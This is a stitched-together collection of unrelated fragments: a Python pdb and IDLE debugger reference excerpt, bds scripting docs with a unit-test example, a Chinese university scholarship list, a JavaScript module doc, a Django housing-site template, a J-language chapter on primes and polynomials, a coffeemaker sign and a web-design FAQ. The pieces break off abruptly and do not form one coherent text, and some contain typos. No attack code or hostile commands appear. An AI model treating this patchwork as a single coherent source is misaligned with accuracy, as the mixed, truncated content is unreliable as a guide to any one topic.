control, you import pdb and then call
pdb.run, passing as the single argument a string
of code to execute. To use pdb for post-mortem
debugging (meaning debugging of code that terminated by propagating
an exception at an interactive prompt), call pdb.pm(
) without arguments. When pdb starts, it
first reads text files named .pdbrc in your home
directory and in the current directory. Such files can contain any
pdb commands, but most often they use the
alias command in order to define useful synonyms
and abbreviations for other commands.
When pdb is in control, it prompts you with the
string '(Pdb) ', and you can
enter pdb commands. Command
help (which you can also enter in the abbreviated
form h) lists all available commands. Call
help with an argument (separated by a space) to
get help about any specific command. You can abbreviate most commands
to the first one or two letters, but you must always enter commands
in lowercase: pdb, like Python itself, is
case-sensitive. Entering an empty line repeats the previous command.
The most frequently used pdb commands are the
following.
Executes
Python statement statement in the
currently debugged context.
alias [ name [ command ] ]
|
|
alias without arguments lists currently defined
aliases. alias name
outputs the current definition of the alias
name. In the full form,
command is any pdb
command, with arguments, and may contain %1,
%2, and so on to refer to arguments passed to the
new alias name being defined, or
%* to refer to all such arguments together.
Command unalias name
removes an alias.
Lists all actual arguments passed to the function you are currently
debugging.
break [ location [ ,condition ] ]
|
|
break without arguments lists currently defined
breakpoints and the number of times each breakpoint has triggered.
With an argument, break sets a breakpoint at the
given location.
location can be a line number or a
function name, optionally preceded by
filename: to set a
breakpoint in a file that is not the current one or at the start of a
function whose name is ambiguous (i.e., a function that exists in
more than one file). When condition is
present, condition is an expression to
evaluate (in the debugged context) each time the given line or
function is about to execute; execution breaks only when the
expression returns a true value. When setting a new breakpoint,
break returns a breakpoint number, which you can
then use to refer to the new breakpoint in any other
breakpoint-related pdb command.
clear [ breakpoint-numbers ]
|
|
Clears (removes) one or more breakpoints. clear
without arguments removes all breakpoints after asking for
confirmation. To deactivate a breakpoint without removing it, see
disable.
condition breakpoint-number [ expression ]
|
|
condition n
expression sets or changes the condition
on breakpoint n.
condition n, without
expression, makes breakpoint
n unconditional.
Continues execution of the code being debugged, up to a breakpoint if
any.
disable [ breakpoint-numbers ]
|
|
Disables one or more breakpoints. disable without
arguments disables all breakpoints (after asking for confirmation).
This differs from clear in that the debugger
remembers the breakpoint, and you can reactivate it via
enable.
Moves one frame down in the stack (i.e., toward the most recent
function call). Normally, the current position in the stack is at the
bottom (i.e., at the function that was called most recently and is
now being debugged). Therefore, command down
can't go further down. However, command
down is useful if you have previously executed
command up, which moves the current position
upward.
enable [ breakpoint-numbers ]
|
|
Enables one or more breakpoints. enable without
arguments enables all breakpoints after asking for confirmation.
ignore breakpoint-number [ count ]
|
|
Sets the breakpoint's ignore count (to
0, if count is
omitted). Triggering a breakpoint whose ignore count is greater than
0 just decrements the count. Execution stops,
presenting you with an interactive pdb prompt,
only when you trigger a breakpoint whose ignore count is
0. For example, say that module
fob.py contains the following code:
def f( ):
for i in range(1000):
g(i)
def g(i):
pass Now, consider the following interactive pdb
session:
>>> import pdb
>>> import fob
>>> pdb.run('fob.f( )')
> <string>(0)?( )
(Pdb) break fob.g
Breakpoint 1 at C:\mydir\fob.py:6
(Pdb) ignore 1 500
Will ignore next 500 crossings of breakpoint 1.
(Pdb) continue
> <string>(1)?( )
(Pdb) continue
> C:\mydir\fob.py(6)g( )
-> pass
(Pdb) print i
500 The ignore command, as pdb
shows in response to it, asks pdb to ignore the
next 500 hits on breakpoint 1,
which we just set at fob.g in the previous
break statement. Therefore, when execution finally
stops, function g has already been called
500 times, as we show by printing its argument
i, which indeed is now 500.
Note that the ignore count of breakpoint 1 is now
0; if we give another continue
and print i,
i will then show as 501. In
other words, once the ignore count is decremented back to
0, execution stops every time the breakpoint is
hit. If we want to skip some more hits, we need to give
pdb another ignore command, in
order to set the ignore count of breakpoint 1 at
some value greater than 0 yet again.
list [ first [ , last ] ]
|
|
list without arguments lists 11
lines centered on the current one, or the next 11
lines if the previous command was also a list. By
giving arguments to the list command, you may
explicitly specify the first and last lines to list within the
current file. The list command deals with physical
lines, including comments and empty lines, not with logical lines.
Executes the current line, without stepping into any function called
from the current line. However, hitting breakpoints in functions
called directly or indirectly from the current line does stop
execution.
Evaluates expression in the current
context and displays the result.
Immediately terminates both pdb and the program
being debugged.
Executes the rest of the current function, stopping only at
breakpoints if any.
Executes the current line, stepping into any function called from the
current line.
tbreak [ location [ ,condition ] ]
|
|
Like break, but the breakpoint is temporary (i.e.,
pdb automatically removes the breakpoint as soon
as the breakpoint is triggered).
Moves one frame up in the stack (i.e., away from the most recent
function call and toward the calling function).
Shows the stack of frames and indicates the current one (i.e., in
what frame's context command !
executes statements, command args shows arguments,
command p evaluates expressions,
etc.).
17.2.4 Debugging in IDLE
IDLE, the Interactive DeveLopment
Environment that comes with Python, offers debugging functionality
similar to that of pdb, although not quite as
powerful. Thanks to IDLE's GUI, however, you may
find the functionality easier to access. For example, instead of
having to ask for source lists and stack lists explicitly with such
pdb commands as list and
where, you just activate one or more of four
checkboxes in the Debug Control window to see source, stack, locals,
and globals always displayed in the same window at each step.
To start IDLE's interactive debugger, use menu Debug
Debugger in IDLE's *Python Shell*
window. IDLE opens the Debug Control window, outputs
[DEBUG ON] in the shell window,
and gives you another >>> prompt in the
shell window. Keep using the shell window as you normally
would—any command you give at the shell
window's prompt now runs under the debugger. To
deactivate the debugger, use Debug Debugger again;
IDLE then toggles the debug state, closes the Debug Control window,
and outputs [DEBUG OFF] in the
shell window. To control the debugger when the debugger is active,
use the GUI controls in the Debug Control window. You can toggle the
debugger away only when it is not busy actively tracking code:
otherwise, IDLE disables the Quit button in the Debug Control window.
|


| | list<string> daysFull @public | | List to lookup the English day of the week: "Sunday", "Monday", etc.
Sunday is used as the first day of the week, index zero.
|
list<string> daysShort @public | | List to lookup the short English day of the week: "Sun", "Mon", etc.
Sunday is used as the first day of the week, index zero.
|
list<string> monthsFull @public | | List to lookup the English month name: "January", "February", etc.
January has index zero.
|
list<string> monthsShort @public | | List to lookup the short English month name: "Jan", "Feb", etc.
January has index zero.
|
| | Returns the curent Coordinated Universal Time (UTC) since epoch in usec.
|
| | Do nothing for usec microseconds.
|
| | Do nothing for sec seconds.
|
|


Please Reset the Coffeemaker!
After your beverage is done brewing, please discard your used K-cup.
Thank you ☺


Test cases
Because nobody writes perfect code.
bds
provides a simple unit testing functionality.
Simply use the -t
command line option and bds
will run all functions test*()
(that is functions whose names start with 'test' and have no arguments).
File test_24.bds
#!/usr/bin/env bds
int twice(int n) return 3 * n // Looks like I don't really know what "twice" means...
void test01() {
print("Nice test code 01\n")
}
void test02() {
i := 1
i++
if( i != 2 ) error("I can't add")
}
void test03() {
i := twice( 1 )
if( i != 2 ) error("This is weird")
}
When we execute the tests, we get
$ bds -t ./test_24.bds
Nice test code 01
00:00:00.002 Test 'test01': OK
00:00:00.003 Test 'test02': OK
00:00:00.004 Error: This is weird
00:00:00.004 Test 'test03': FAIL
00:00:00.005 Totals
OK : 2
ERROR : 1


New students in BLCU of bachelor's degree, master's degree, doctoral degree, general scholar, senior scholarship and Chinese language training can all apply to the bilateral program scholarship of BLCU
All students in ZUST of bachelor's degree, master's degree, doctoral degree and long-term schola can apply Zhejiang Province Government Scholarship of ZUST. The application date is January to May each year. The scholarship may contain registration fee, tuition,basic textbooks fee, free on-campus dormitory accommodation and comprehensive insurance
New students in DMU of bachelor's degree, master's degree, doctoral degree and scholar can all apply to the bilateral program scholarship of DMU. The scholarship is for clinical medicine and stomatology, etc students.
Bachelor's degree, master's degree and doctoral degree students in Jiangsu University can apply Jasmine Scholarship of UJS. The application date is before July 30th each year.
Master's Degree in Teaching Chinese to Speakers of Other Languages(MTCSOL), one-academic-year students and one-semester students majoring in Chinese Language and Literature, Chinese History and Chinese Philosophy can apply Confucius Institute Scholarship of Fudan University. The application date is February to May.
APPLY 2017 SCHOLARSHIP POSITION
Beijing Language and Culture University
Chinese Government Scholarships 67091Northwestern Polytechnical University
Chinese Government Scholarships 47104Northwestern Polytechnical University
Chinese Government Scholarships 33749


It can be accessed with carcass.proto.register
. It is an object:
{
register: function() {},
extend: function() {}
}
It can be merged to any object with mixin()
or equivalent.
The register()
function is used to read a dir and map the files to this
.
For example, say we have a files directory (same as what we have in the test):
[dirname]/files/
- lorem.js
- ipsum/
- package.json
- ipsum.js
- dolor/
- index.js
We can map the file structure to an object:
var obj = carcass.mixable();
obj.mixin(carcass.proto.register);
obj.register('[dirname]', 'files');
// Now we have:
obj.files.lorem === require('path/to/lorem')
obj.files.ipsum === require('path/to/ipsum')
obj.files.dolor === require('path/to/dolor')
The extend()
function is just an helper, used to copy things from another object to this
.
For example, when we have an object as above, we can merge part of it to another one:
var another = carcass.mixable();
another.mixin(carcass.proto.register);
another.extend(obj, 'files');
// Now we have:
another.files.lorem === require('path/to/lorem')
another.files.ipsum === require('path/to/ipsum')
another.files.dolor === require('path/to/dolor')


The whole code is open to all for furhter development and anyone can contribute after it's full stable version release. But till then the defined collaborators will be working on it to complete it.


{% extends "base.html" %}
{% block content %}
{% load static %}
Ywala Housing Helps You Find a Room or Apartment in a Minute
Search for a room or an apartment in any city of your choice
Register a Free Account to Contact the Owner
Arrange a Viewing with the Owner to Inspect the room
Simple and easy to use, If you can use a smartPhone, you can use Ywala.com
We promote your adverts and help you reach hundreds of people to land a tenant fast
Be the first to know when there is a new room or apartment available in the area/city you want
Safety is guaranteed, your safety is important to us and so we have developed systemwith maximum security while ensuring simplicity of use
finding a suitable room on Ywala.com is completely free
Use our secured system to pay your rent. if you dont like the room afterwords, your refund is gurannted. you can also pay directly to the Landlord


Chapter 21: Factors and Polynomials
In this chapter we look at the built-in functions:
- monadic q: which computes the prime factors of a number
- dyadic q: which represents a number as powers of primes
- monadic p: which generates prime numbers
- dyadic p. which evaluates polynomials
- monadic p. which finds roots of polynomials
21.1 Primes and Factors
The built-in function monadic q:
computes the prime factors of a given number.
| q: 6 |
q: 8 |
q: 17 * 31 |
q: 1 + 2^30 |
| 2 3 |
2 2 2 |
17 31 |
5 5 13 41 61 1321 |
The number 0 is not in the domain
of q: The number 1 is in the domain of q:,
but is regarded as having no factors, that is,
its list of factors is empty.
For a large number (greater than about 2^53), its value
should be specified as an extended integer
to ensure all its significant digits are supplied to q: ..
q: 1 + 2 ^ 53x
3<PHONE_NUMBER>0762433
A prime number is the one and only
member of its list of factors.
Hence a test for primality
can readily be written as the hook:
member-of-its-factors
| pr =: e. q: |
pr 8 |
pr 17 |
pr 1 |
| e. q: |
0 |
1 |
0 |
Any positive integer can be written
as the product of powers of successive primes. Some of the powers will
be zero. For example we have:
9 = (2^0) * (3^2) * (5^0) * (7^0)
1
The list of powers, here 0 2 0 0 ...
can be generated with dyadic q:. The left argument
x specifies how many powers we choose to generate.
| 4 q: 9 |
3 q: 9 |
2 q: 9 |
1 q: 9 |
6 q: 9 |
| 0 2 0 0 |
0 2 0 |
0 2 |
0 |
0 2 0 0 0 0 |
Giving a left argument of "infinity" (_) means that
the number of powers generated is just enough,
in which case the last will be non-zero.
| _ q: 9 |
_ q: 17 * 31 |
| 0 2 |
0 0 0 0 0 0 1 0 0 0 1 |
There is a built-in function, monadic p: (lowercase p colon)
which generates prime numbers.
For example (p: 17) is the 18th prime.
| p: 0 1 2 3 4 5 6 |
p: 17 |
| 2 3 5 7 11 13 17 |
61 |
On my computer the largest
prime which can be so generated is between p: 2^26
and p: 2^27.
| p: 2^26 |
p: 2^27 |
p: 2^27x |
|<PHONE_NUMBER> |
error |
error |
21.2 Polynomials
21.2.1 Coefficients
If x is a variable, then an expression in conventional notation
such as
a + bx + cx2 + dx3 + ...
is said to be a polynomial in x. If we write C
for the list of coefficients a,b,c,d ..., for example,
C =: _1 0 1
and assign a value to x, for example,
x=:2
then the polynomial expression
can be written in J in the form +/ C * x ^ i. # C
| C |
#C |
i.#C |
x |
x^i.#C |
C*x^i.#C |
+/C*x^i.# C |
| _1 0 1 |
3 |
0 1 2 |
2 |
1 2 4 |
_1 0 4 |
3 |
The dyadic verb p. allows us to abbreviate
this expression to C p. x,
The scheme is that, for a list of coefficients C:
C p. x means +/ C * x ^ i. # C
A polynomial function is conveniently written
in the form C&p.
| p =: _1 0 1 & p. |
p x |
| _1 0 1&p. |
3 |
This form has a number of advantages: compact to write,
efficient to evaluate and (as we will see) easy to differentiate.
21.2.2 Roots
Given a list of coefficients C, we can compute
the roots of the polynomial function C&p. by applying
monadic p. to C.
| C |
p =: C & p. |
Z =: p. C |
| _1 0 1 |
_1 0 1&p. |
+-+----+
|1|1 _1|
+-+----+ |
We see that the result Z is a boxed structure,
of the form M;R, that is, multiplier M
followed by list-of-roots R.
We expect to see that p applied to
each root in R gives zero.
| 'M R' =: Z |
R |
p R |
+-+----+
|1|1 _1|
+-+----+ |
1 _1 |
0 0 |
The significance of the multiplier M
is as follows. If we write r,s,t... for the
list of roots R,
'r s' =: R
then M is such that the polynomial C p. x
can be written equivalently as
M * (x-r)*(x-s)
3
or more compactly as
M * */x-R
3
We saw that monadic p., given coefficients C
computes multiplier-and-roots M;R. Furthermore,
given M;R then monadic p. computes coefficients C
| C |
MR =: p. C |
p. MR |
| _1 0 1 |
+-+----+
|1|1 _1|
+-+----+ |
_1 0 1 |
21.2.3 Multiplier and Roots
We saw above that the left argument of p.
can be a list of coefficents, with the scheme
C p. x is +/ C * x ^ i. # C
The left argument of p. can also be
of the form multiplier;list-of-roots.
In this way we can generate a polynomial
function with specified roots. Suppose the roots are to be 2 3
| p =: (1; 2 3) & p. |
p 2 3 |
| (1;2 3)&p. |
0 0 |
The scheme is that
(M;R) p. x means M * */ x - R
When M;R is p. C then we expect (M;R) p. x to be
the same as C p. x
| C |
MR=: p.C |
MR p. x |
C p. x |
| _1 0 1 |
+-+----+
|1|1 _1|
+-+----+ |
3 |
3 |
21.2.4 Multinomials
Where there are many zero coefficients in a polynomial,
it may be more convenient to write functions in the
"multinomial" form, that is, omitting terms
with zero coefficents and instead specifying
a list of coefficient-exponent pairs.
Here is an example. With the polynomial _1 0 1 & p.,
the nonzero coefficents are the first and third, _1 1,
and the corresponding
exponents are 0 2. We form the pairs thus:
| coeffs =: _1 1 |
exps=: 0 2 |
pairs =: coeffs ,. exps |
| _1 1 |
0 2 |
_1 0
1 2 |
Now the pairs can be supplied as boxed left argument to p.
We expect the results to be the same as for the original polynomial.
| x |
pairs |
(< pairs) p. x |
_1 0 1 p. x |
| 2 |
_1 0
1 2 |
3 |
3 |
With the multinomial form, exponents are not limited to
non-negative integers. For example, with exponents and coefficients
given by:
E =: 0.5 _1 2j3
C =: 1 1 1
then the multinomial form of the function is:
f =: (< C,.E) & p.
and for comparison, an equivalent function:
g =: 3 : '+/ C * y ^ E'
We see
| x=: 2 |
f x |
g x |
| 2 |
_0.0337641j3.49362 |
_0.0337641j3.49362 |
This is the end of Chapter 21.
|


There’s not one single answer to this question. A website design is quoted based on the needs of each individual project.
FAQ
Hosting is super important! When it comes to hosting, you get what you pay for. We’ve developed a list of our absolute favorite hosts to help you find the right host at the right price.
Click “Forgot password” from the login page or “Change password” from your profile page. A reset link will be emailed to you.
Yes! Send us a message and we’ll process your request no questions asked.
Chat and email support is available 24/7. Phone lines are open during normal business hours.